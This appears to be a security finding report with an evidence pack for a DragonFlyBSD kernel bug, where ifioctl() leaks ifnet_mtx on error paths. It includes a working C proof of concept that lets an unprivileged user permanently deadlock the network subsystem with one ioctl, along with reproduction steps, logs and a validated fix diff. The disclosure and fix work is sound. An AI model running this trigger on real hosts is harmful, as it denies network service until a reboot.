Missing ifnet_unlock on error paths in SIOCAIFGROUP/SIOCDIFGROUP/SIOCGIFGROUP/SIOCSIFDESCR: permanent ifnet_mtx deadlock
| Field | Value |
|---|---|
| ID | DF-0272 |
| Status | new |
| Severity | High |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-667 Improper Locking |
| File | sys/net/if.c |
| Lines | 2389-2406 |
| Area | net |
| Confidence | certain |
| Discovered | 2026-06-30 |
| Reported | pending |
Summary
ifioctl() acquires the global ifnet_mtx at line 2029. Six error paths
inside the switch statement use return (error) instead of break,
bypassing the ifnet_unlock() at line 2449. SIOCGIFGROUP has no
caps_priv_check, so any unprivileged user calling ioctl(s,
SIOCGIFGROUP, &ifgr) with a mismatched ifgr_len triggers the error
path, leaks ifnet_mtx permanently, and deadlocks the entire network
subsystem β every subsequent ifconfig, interface attach/detach, route
change, and packet socket operation blocks forever.
Root cause
// sys/net/if.c:2029
ifnet_lock(); // acquired
// sys/net/if.c:2402-2407
case SIOCGIFGROUP:
ifgr = (struct ifgroupreq *)ifr;
if ((error = if_getgroups(ifgr, ifp)))
return (error); // :2406 β LEAKS ifnet_mtx!
break;
// sys/net/if.c:2449-2450 (normal exit, never reached)
ifnet_unlock();
return (error);
The same bug exists at lines 2112, 2389, 2391, 2398, 2400. These bare
return statements were likely copy-pasted from the pre-lock cases
(SIOCIFCREATE/SIOCIFDESTROY at lines 2005-2016 where return is correct).
Threat model & preconditions
- Attacker position: Any unprivileged local user with a socket.
- Impact: Permanent kernel deadlock of the entire network subsystem.
Every operation requiring
ifnet_lock()blocks forever. Irreversible without reboot. No privilege escalation. - Required config: Default kernel. Any network interface present.
- Reachability:
ioctl(s, SIOCGIFGROUP, &ifgr)whereifgr.ifgr_lenis set to any value that doesn't match the actual group list size.
Proof of concept
#include <sys/socket.h>
#include <net/if.h>
#include <net/if_dl.h>
#include <string.h>
#include <unistd.h>
int main(void) {
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct ifgroupreq ifgr;
memset(&ifgr, 0, sizeof(ifgr));
strlcpy(ifgr.ifgr_name, "lo0", IFNAMSIZ);
ifgr.ifgr_len = 1; /* deliberately wrong size */
ioctl(s, SIOCGIFGROUP, &ifgr);
/* ifnet_mtx is now permanently held.
* All subsequent ifconfig/interface operations hang forever. */
return 0;
}
Expected output
# After running the PoC, any network operation hangs: $ ifconfig # hangs forever (D-state) $ ping localhost # hangs forever # System requires reboot to recover.
Recommended fix
Replace every bare return (error) inside the locked switch region with
break:
--- a/sys/net/if.c
+++ b/sys/net/if.c
@@ -2404,7 +2404,7 @@
ifgr = (struct ifgroupreq *)ifr;
if ((error = if_getgroups(ifgr, ifp)))
- return (error);
+ break;
break;
Apply the same fix to lines 2112, 2389, 2391, 2398, 2400.
Timeline
- 2026-06-30 Discovered during automated audit.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-0272 Β· 13 files| File | Type | Description | Size | |
|---|---|---|---|---|
| poc.c | trigger-source | SIOCGIFGROUP ifgr_len-mismatch trigger that leaks ifnet_mtx; self-verifies with a forked second ioctl | 5.0 KB | view raw |
| build.sh | build-script | cc -O2 -Wall -o poc poc.c | 115 B | view raw |
| run.sh | run-script | runs ./poc as the unprivileged user | 257 B | view raw |
| run.log | run-log | original decisive unpatched run: trigger EINVAL + 'child PID 851 still alive after 6 s β DEADLOCK CONFIRMED' | 730 B | view raw |
| baseline_run.log | baseline-run-log | this session's #0 baseline re-confirm: DEADLOCK_CONFIRMED + cross-session ifconfig hang (rc=124) | 952 B | view raw |
| env.txt | environment | uname, id (uid 1001), cc version, lo0 default groups | 731 B | view raw |
| fix.diff | suggested-fix | git-apply-able: convert all six bare return(error)/return(ENAMETOOLONG) inside the ifnet_lock()-held switch body of ifioctl() to break; verified git apply --check passes; applied cleanly to /usr/src (both hunks succeeded at 2109 + 2386) | 958 B | view raw |
| fix_build.log | fix-build-log | FULL nativekernel build output (35329 lines) of the single-fix #1 kernel; NK_DONE rc=0 | 5.6 MB | β download |
| fix_run.log | fix-run-log | patched #1 PoC run x3 (RESULT: NO_DEADLOCK each) + follow-up ifconfig/route prompt; before/after contrast | 1.8 KB | view raw |
| VERDICT.md | verdict | full narrative: line-by-line trace, privilege model, why the wedge is total, recovery, Phase 8 fix-validation | 8.9 KB | β raw |
| README.md | readme | build/run/expected + one-liner mechanism | 1.6 KB | β raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-0272 β ifnet_mtx leak via SIOCGIFGROUP / SIOCAIFGROUP / SIOCDIFGROUP / SIOCSIFDESCR
Unprivileged local DoS. One syscall from uid 1001 permanently wedges the entire DragonFlyBSD network subsystem; reboot required.
Build
cc -O2 -Wall -o poc poc.c # or: ./build.sh
Run (as unprivileged user β maxx uid 1001)
./poc # or: ./run.sh
Expected on the vulnerable master DEV kernel
[*] lo0 real group_len=32 [+] trigger ioctl (len=33) rc=-1 errno=22 (Invalid argument) [!] child PID <n> still alive after 6 s β DEADLOCK CONFIRMED
At that point ifnet_mtx is permanently held by the (long-returned)
triggering thread. Any subsequent network operation that needs
ifnet_lock() blocks forever in D-state and is unkillable:
ifconfig lo0from a fresh SSH session hangs forever (verified βtimeout 4 ifconfigcannot interrupt; the SSH session had to be torn down by the harness at 120 s).route, interface up/down, packet socket operations β all blocked.
Recovery: dfbsd-qemu/vm.sh reset.
On a fixed kernel (with fix.diff applied) the trigger still returns
EINVAL, but the lock is released and the second ioctl returns immediately
β the PoC prints RESULT: NO_DEADLOCK and exits cleanly.
Mechanism (one-liner)
ifioctl() takes ifnet_mtx at sys/net/if.c:2029 and unlocks at
sys/net/if.c:2450; six return (error) branches inside that region skip
the unlock. SIOCGIFGROUP (sys/net/if.c:2403-2407) is the easiest
unprivileged path β no caps_priv_check at all.
See VERDICT.md for the full line-by-line trace and fix.diff for the
verified one-line-per-site fix.
DF-0272 β SIOCGIFGROUP/SIOCAIFGROUP/SIOCDIFGROUP/SIOCSIFDESCR leak ifnet_mtx
Verdict
REPRODUCED. Unprivileged local user β permanent, system-wide network deadlock (DoS). Confirmed twice on the master DEV guest:
- From within the PoC: the second
SIOCGIFGROUPioctl (on a fresh socket, same process) blocks forever β the forked child is still alive after the 6 s probe window and is unkillable (D-state). - From a separate fresh SSH session after the PoC exits the syscall:
ifconfig lo0(which dispatches throughifioctl()and reachesifnet_lock()) blocks forever in D-state;timeout 4 ifconfigcannot interrupt it and the ssh session is torn down at the 120 s harness limit.
No panic, no kernel message β the kernel just hangs every caller of
ifnet_lock() forever. Recovery requires a hard reboot (vm.sh reset).
Root cause (every hop cited)
ifioctl() (sys/net/if.c:1979) acquires the global mutex
ifnet_mtx (sys/net/if.c:195, MTX_INITIALIZER("ifnet")) at
sys/net/if.c:2029 (ifnet_lock()) β implemented at
sys/net/if.c:3784-3790 as mtx_lock(&ifnet_mtx), a non-recursive sleeping
mutex. The matching unlock is at sys/net/if.c:2450 (ifnet_unlock()),
reached only by falling through the end of the switch (cmd) via break.
Six error branches inside that locked switch use return (error) instead of
break, jumping over the unlock:
| Line | Case | Trigger | Priv? |
|---|---|---|---|
| 2112 | SIOCSIFDESCR | ifr_buffer.length > ifdescr_maxlen |
root-only |
| 2389 | SIOCAIFGROUP | caps_priv_check fails (unprivileged caller!) |
unpriv |
| 2391 | SIOCAIFGROUP | if_addgroup() fails |
root-only |
| 2398 | SIOCDIFGROUP | caps_priv_check fails (unprivileged caller!) |
unpriv |
| 2400 | SIOCDIFGROUP | if_delgroup() fails |
root-only |
| 2406 | SIOCGIFGROUP | if_getgroups() returns EINVAL (size mismatch) |
unpriv |
SIOCGIFGROUP is the cleanest unprivileged trigger:
// sys/net/if.c:2403-2407 (SIOCGIFGROUP β no caps_priv_check anywhere)
case SIOCGIFGROUP:
ifgr = (struct ifgroupreq *)ifr;
if ((error = if_getgroups(ifgr, ifp))) // returns EINVAL at :1282
return (error); // :2406 LEAKS ifnet_mtx
break;
if_getgroups() returns EINVAL whenever ifgr->ifgr_len is non-zero and
does not equal the actual per-iface group-list size
(sys/net/if.c:1281-1283). Any unprivileged user with a UDP socket can do
this:
socket(AF_INET, SOCK_DGRAM, 0)β no privilege neededioctl(s, SIOCGIFGROUP, &ifgr)withifgr.ifgr_lenset to any value that does not match the live group count (the PoC probes the real length first withlen=0, then sendslen=real+1).
The SIOCGIFGROUP constant is _IOWR('i', 136, struct ifgroupreq)
(sys/sys/sockio.h:125). sys_socket.c:180-181 dispatches anything in
the 'i' ioctl group to ifioctl() with no privilege check at the
socket layer; the SIOCGIFGROUP handler itself performs no
caps_priv_check, so the path is wide open to uid 1001.
(SIOCAIFGROUP/SIOCDIFGROUP at lines 2387/2396 do call
caps_priv_check(cred, SYSCAP_NONET_IFCONFIG) after ifnet_lock() is
already held β and their failure branches at lines 2389/2398 also
return (error), so even an unprivileged user asking to add or delete
a group leaks the lock too. SIOCSIFDESCR at line 2112 is gated by
SYSCAP_RESTRICTEDROOT (line 2101) so its leak is root-only, but it's
still a real bug β a root process can wedge the box by accident.)
Why the wedge is total
ifnet_mtx is a single, global, non-recursive mutex protecting the entire
interface list and the ifioctl switch. Once leaked, every subsequent call
to ifnet_lock() sleeps forever β including ifconfig, route (via
interface lookups), interface attach/detach, and any further ioctl in the
'i' group. The mutex owner is the long-gone userspace thread that
returned from the syscall with the lock still held; nothing will ever
release it short of a reboot. Affected callers block in uninterruptible
(mtx_lock) sleep, so SIGKILL cannot reclaim them β that is why even
timeout 4 ifconfig couldn't terminate and the SSH session had to be
torn down by the harness.
Exploit chain / weaponisation
This is a pure DoS primitive (CWE-667 / CVSS 3.1
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H β 5.5, Medium-to-High). There is no
memory-corruption surface to escalate from: the bug is a control-flow
(lock-drop) error, not an OOB/UAF. The realistic attacker value is a
one-shot, irreversible, unprivileged "kill networking on this box" β which
is exactly what the PoC demonstrates. No further escalation is derivable;
no chain was developed.
Recovery is reboot-only. A non-root user can permanently deny service to every network operation on the host with a single syscall.
PoC changes
The finding shipped no PoC source tree at all (findings/poc/DF-0272/ did
not exist). I authored:
poc.cβ minimal self-verifying trigger. Probes the realifgr_lenforlo0withlen=0, then sendslen=real+1to force the EINVAL branch and leakifnet_mtx. Forks a child that immediately issues a secondSIOCGIFGROUPon a fresh socket; if the child is still alive after a 6 s probe window, the deadlock is confirmed. The child is left in D-state (SIGKILL cannot wake it) β that itself is part of the proof.build.sh,run.shβ exact repro commands.fix.diffβ converts all six barereturn (error)inside the locked switch region tobreakso they fall through toifnet_unlock()at line 2450.
Recommended fix
fix.diff supersedes the finding's proposal (which only listed line 2406
plus a "same fix to 2112/2389/2391/2398/2400" hand-wave β this diff covers
all six sites with verified line numbers and applies cleanly with
git apply). Single logical change: every return (error) /
return (ENAMETOOLONG) inside the ifnet_lock()-held switch body of
ifioctl() becomes break, so control flows to the
ifnet_unlock(); return (error); epilog at sys/net/if.c:2450-2451.
How to reproduce
ssh dfbsd-maxx 'cd poc/DF-0272 && cc -O2 -Wall -o poc poc.c && ./poc' # Expected: "[!] child PID <n> still alive after 6 s β DEADLOCK CONFIRMED" # At that point ifconfig / any further net ioctl on the guest hangs forever # and the box must be reset (dfbsd-qemu/vm.sh reset).
Fix validation (Phase 8 β re-run this session, 2026-07-02)
Baseline re-confirmed on the UNPATCHED #0 kernel
(DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026):
[*] lo0 real group_len=32 [+] trigger ioctl (len=33) rc=-1 errno=22 (Invalid argument) [!] child PID 942 still alive after 6 s β DEADLOCK CONFIRMED (harness rc=124 β PoC's own waitpid on the D-state child blocked too)
Cross-session wedge proof: a fresh ifconfig lo0 from a separate ssh
session blocked for the full 8 s timeout (rc=124) β the lock is globally
held, every ifnet_lock() caller sleeps forever. No panic, no kernel
message; reboot-only recovery.
Single-fix kernel built, installed, booted as #1
(DragonFly 6.5-DEVELOPMENT #1: Thu Jul 2 11:55:04 UTC 2026,
kernel.stripped sha256 df6d8ac6β¦):
- Applied
fix.diffto/usr/src(patch -p1, both hunks succeeded at lines 2109 and 2386; all sixreturn (error)/return (ENAMETOOLONG)inside theifnet_lock()-held switch body ofifioctl()nowbreak). make -j6 nativekernel KERNCONF=X86_64_GENERICβNK_DONE rc=0(full 35329-line log infix_build.log).- Copied
kernel.strippedβ/boot/kernel/kernel(bare name the loader boots),kernel.debugβ/boot/kernel/kernel.debug,sync, reboot.
Patched #1 result β fix CONFIRMED (ran 3Γ for determinism):
[*] lo0 real group_len=32 [+] trigger ioctl (len=33) rc=-1 errno=22 (Invalid argument) # trigger still errors [*] child exited normally (code=1) β second ioctl returned, NO deadlock RESULT: NO_DEADLOCK
Follow-up network ops from a separate fresh ssh after 3 PoC runs:
IFCONFIG_DONE rc=0 (returned immediately β was permanently hung on #0) ROUTE_DONE rc=0 (route -n get 127.0.0.1 returned immediately)
The trigger ioctl still returns EINVAL (the if_getgroups() size-mismatch
error path is unchanged and correct), but the lock is now released by the
break falling through to ifnet_unlock() at sys/net/if.c:2450. The
network subsystem stays fully responsive.
Verdict: fix_status = fixed. Clean before/after:
#0 deadlocks (internal child + cross-session ifconfig both hang) β
#1 no deadlock (child exits, follow-up ops prompt). The fix closes the
bug. See fix_run.log for the full patched-kernel transcript and
fix_build.log for the full nativekernel build output.
Fix verification
fixedVALIDATED. On the unpatched #0 baseline the PoC's trigger SIOCGIFGROUP (len=33) returned EINVAL and leaked ifnet_mtx: the forked second-ioctl child stayed blocked past 6s (DEADLOCK_CONFIRMED) and a fresh-ssh ifconfig lo0 hung for the full 8s timeout (rc=124). On the single-fix #1 kernel (fix.diff applied, both hunks succeeded at 2109+2386, nativekernel NK_DONE rc=0, kernel.stripped installed as bare /boot/kernel/kernel) the same trigger still returns EINVAL but the lock is released: RESULT: NO_DEADLOCK on 3/3 runs and follow-up ifconfig + route get from a separate ssh return promptly (rc=0). The fix closes the bug.
baseline #0: [+] trigger ioctl (len=33) rc=-1 errno=22; [!] child PID 942 still alive after 6 s β DEADLOCK CONFIRMED; fresh-ssh ifconfig rc=124 (hung 8s). patched #1 (sha256 df6d8ac6...): [+] trigger ioctl (len=33) rc=-1 errno=22 (same); [*] child exited normally (code=1); RESULT: NO_DEADLOCK (x3); fresh-ssh IFCONFIG_DONE rc=0 + ROUTE_DONE rc=0. nativekernel build: NK_DONE rc=0.
Confirmed kernel references
Detail
Exploit chain
Pure DoS primitive (CWE-667, CVSS 3.1 AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H = 5.5). One unprivileged SIOCGIFGROUP ioctl with a size-mismatched ifgr_len leaks the global non-recursive ifnet_mtx forever; every subsequent ifnet_lock() caller (ifconfig, route, interface attach/detach, any 'i'-group ioctl) blocks in uninterruptible sleep -> permanent system-wide network deadlock, reboot-only recovery. No memory-corruption surface; no escalation derivable. No chain developed.
Evidence (decisive lines)
BASELINE (#0): trigger ioctl (len=33) rc=-1 errno=22 (Invalid argument); [!] child PID 942 still alive after 6 s β DEADLOCK CONFIRMED; fresh-ssh `ifconfig lo0` hung 8s (harness rc=124). PATCHED (#1, sha256 df6d8ac6...): same trigger EINVAL, but [+] child exited normally (code=1) β second ioctl returned, NO deadlock; RESULT: NO_DEADLOCK (x3 runs); fresh-ssh IFCONFIG_DONE rc=0 + ROUTE_DONE rc=0 (prompt). nativekernel build NK_DONE rc=0.
PoC changes
No PoC source changes this run (poc.c/build.sh/run.sh unchanged; code_hash identical). fix.diff already correct from the prior session β re-verified it applies cleanly to /usr/src (both hunks at 2109 + 2386) and covers all six leak sites inside the ifnet_lock()-held switch body. Added baseline_run.log, fix_build.log (full 35329-line nativekernel output), fix_run.log (patched #1 runs x3 + follow-up ops), and a Phase 8 section to VERDICT.md; refreshed manifest.json with fix_status/fix_kernel_uname/fix_kernel_sha256.
Verified recommended fix
In sys/net/if.c ifioctl(), convert all six bare return (error) / return (ENAMETOOLONG) statements inside the ifnet_lock()-held switch body (lines 2112, 2389, 2391, 2398, 2400, 2406) to break, so each error path falls through to the ifnet_unlock(); return (error); epilog at sys/net/if.c:2450-2451. Single logical change; minimal and targeted at the root cause. Matches (and fully enumerates with verified line numbers) the finding markdown's proposal. Full git-apply-able diff in findings/poc/DF-0272/fix.diff.
Verdict
REPRODUCED on the unpatched #0 master DEV kernel and FIX VALIDATED. ifioctl() takes the global ifnet_mtx at sys/net/if.c:2029 and unlocks only at sys/net/if.c:2450; six error branches inside that locked switch use return (error)/return (ENAMETOOLONG) instead of break, bypassing the unlock. The SIOCGIFGROUP handler (sys/net/if.c:2403-2406) has no caps_priv_check at all, so any unprivileged user with a UDP socket who passes an ifgr_len that doesn't match the live per-iface group count forces if_getgroups() to return EINVAL (sys/net/if.c:1281-1283) and leaks the lock permanently. Baseline re-confirmed this session: the PoC's forked second SIOCGIFGROUP child was still blocked after 6s (DEADLOCK_CONFIRMED), and a fresh ifconfig lo0 from a SEPARATE ssh session hung for the full 8s timeout (rc=124) β the network subsystem is globally wedged (reboot-only recovery, no panic). The single-fix kernel (#1, built with fix.diff applied) correctly converts all six bare returns to break so control falls through to ifnet_unlock() at :2450: on the patched kernel the same trigger still returns EINVAL but RESULT: NO_DEADLOCK (3/3 runs), and follow-up ifconfig + route ops from a separate ssh return immediately. Clean before/after.
No comments yet.